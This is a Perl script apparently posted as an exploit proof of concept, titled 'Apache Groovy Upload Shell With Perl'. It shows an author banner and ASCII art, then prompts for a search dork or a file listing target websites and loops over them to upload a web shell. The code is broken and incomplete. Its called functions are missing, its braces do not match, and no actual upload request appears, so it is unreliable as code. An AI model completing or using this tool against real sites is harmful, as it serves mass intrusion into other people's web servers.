##############################################################################
#exploit author: Mr.Rm19
#09-02-2018
#Apache Groovy Upload Shell With Perl
#DORK: N/A
##################################################################################
# POC :
# #!/usr/bin/perl
#Copyright (c) 2018 - Mr.Rm19
use LWP::UserAgent;
use HTTP::Request::Common;
use Term::ANSIColor;
use HTTP::Request::Common qw(GET);
$ag = LWP::UserAgent->new();
$ag->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Mr.Rm19/20010801");
$ag->timeout(10);
$list= "list.txt";
if ($^O =~ /MSWin32/) {system("cls"); }else { system("clear"); }
my $datetime = localtime;
system("title Mr.Rm19");
if ($^O =~ /MSWin32/) {system("cls"); }else { system("clear"); }
print color('bold green');
print q(
__ .gp.__/
.ssSSSSSs.__ d$P^^^"
.sSSSSSSS$$$$$$$p.dP
.SSSSSS$$$$$SSSSSSSS$bs+._
.SSSS$$$$$SSSSS$$$$$$$SS$$$$b__ /"-.
SSS$$$SSSSS$$$$$$$$SSSS$$$SSSS$b _/"-. /
:S$$$SSSSS$$$$$$$SSSSS$$$SSSS$$SSb // /"-.
$$SSSSS$$$$$$SSSSS$$$$$$S$$$$S$$$Sb. ; / /
SSSSS$$$$$SSSSS$$$$$$$SS'P SS$$S`^b._.' /: : /
:S$$$$$SSSSS$$$$$$$SSSP :$SS$b / ; +-./
$$$$SSSS$$$$$$$SSSSSP S$SS$; / / / / ;
d$$SSS$$$$$SSSSSSSSS' ,=._ :S':S$ / / / / /
:$SSS$$$$SSSSSSSSS^" ' _ "; ; S$ / / / / /
SSS$$$SSSP.-TSS^" .="$; / S; / / / / /
:SS$$$SSS$$ (; " \ P / / / : :
:S$$$SS$$$$b : \ .' / / / : \
T$$SS$$$$$j`-, . , \ /"-( / ;_-.\
`TSS$$$$P ; `. `.-' / /\\/ .'/_ ;;
TS$$$P : _.-; / /\\( / /-" ;;
SSS' \ :-t" : .-\\/ "-/": //
.SS$$ `. `-; Mr.Rm19 )Y y / ; J/
:S$$$; "-. ( '"; j_.-/-./.-" \_
$S$SS "j. : :/ ': `-..' \
d$$SS; : / "-._.' `. ; `-./;
_S$$$SP \ : \: :"-. \;
,$$$SSSj , `. ; : ; "-, /
S$$SS'"^-...___ : "-. ;/ ; t
__.-`SS'---. `T$$$$$$q._ "-. / `. / ;
.-""__ `.' `. `T$$$$$$$$b. `. : "--" /
/.-"" \/ `. T$$$$$$$$$$p. .`._ /"-. _ .'
:: / \ T$$$$$SS$$$$$b._ `.T$p. / "" ;-'
;; : \ T$$$S$$$$$$$$$$$p._L$$$$p. / ,
;; ; \ $$$$$$$$$$$$$$$$$$$SS$$$$$. /
:: ; ;:$$$$$$$$$$$$$$SSSSSSSSS$$$y '
;; : "^$$$$$$$$$$$$$$$$$SSSS$$$P /
;; b. "^$$$$$$$$$$$$$$$$$S$$' /
:: :$$p. -._ "^$$$$$$$$$$$$$$$' /
;; $$$$$p. "^$$$$$$$$$$P /
:: :$$$$$$p. "^$$$$$$P ,
;; T$$$$$$$$p. "^$$P
:: T$$$$$$$P "-. " '
s;; $$$$$$P d$$p._ / /
S$$: $$$$$t d$$$$$$$p._ "-. .' /
SS$;; :P^"\ \.d$$$$$$$$$$$$p._ "" /
TS:: \ d$$$$$$$$$$$$$$$$$$$p._ /
SS.\ .jq$$$$$$$$$$$$$$$$$$^^^^^""-._ .';
$$$$.tsssj' `T$$$$$$$^^^^^""" "-._.' ;
$$$SSS \ / \ :
'^SSS_ \ : : :
$$$SS. \ ; : ;
'$$$SS \ : ; :
"^S$. \ ; : :
S$$b. \ ; ;
S$$$$ ; : :
'TSS$$$s. : ; ;
TS$$Ss_ ; ; :
`SSS$$$p./ : ;
TS$$' ; ; :
"S : ; ;
/ ; : :
/ : :
/"-. .' ;
/ ""--..__ __..--"" :
""""""""""
);
print color('reset');
print " ";
print colored ("[ Mr.Rm19 ]",'white on_red');
print colored ("[ Coded By Mr.Rm19 ]\n",'white on_red');
print " ";
print colored ("[ Start At $datetime ]",'white on_red'),"\n\n";
print color('bold red'),"[";
print color('bold green'),"1";
print color('bold red'),"] ";
print color("bold white"),"upload shel? |> yes\n";
print color('bold red'),"[";
print color('bold green'),"2";
print color('bold red'),"] ";
print color('bold red'),"] ";
print color("bold white"),"Choose Number : ";
my $targett = <STDIN>;
chomp $targett;
if($targett eq '1')
{
print color('bold red'),"[";
print color('bold green'),"+";
print color('bold red'),"] ";
print color("bold white"),"[Sites? ]\n";
print color('bold red'),"[";
print color('bold green'),"+";
print color('bold red'),"] ";
print color("bold white"),"Give Me Dork:";
$dork=<STDIN>;
chomp($dork);
$dork=~s/ /+/g;
gassonee();
}
if($targett eq '2')
{
print color('bold red'),"[";
print color('bold green'),"+";
print color('bold red'),"] ";
{
{ {
{
}
if($targett eq '3')
{
print color('bold red'),"[";
print color('bold green'),"+";
print color('bold red'),"] ";
print color('bold red'),"[";
print color('bold green'),"+";
print color('bold red'),"] ";
print color("bold white")," Path to your websites list:";
my $list=<STDIN>;
chomp($list);
open (THETARGET, "<$list") || die "[-] gAGaL";
@TARGETS = <THETARGET>;
close THETARGET;
$link=$#TARGETS + 1;
OUTER: foreach $tofuck(@TARGETS){
chomp($tofuck);
if($tofuck =~ /http:\/\/(.*)\//) {
$tofuck= $1;
get();
}else{
get();
}
}
chomp($list);
{
{
}
;
friend : c4ur un!onb4se 008 ./uzumak1 hacker sakit hati w4uw1k 190102 !0nt!5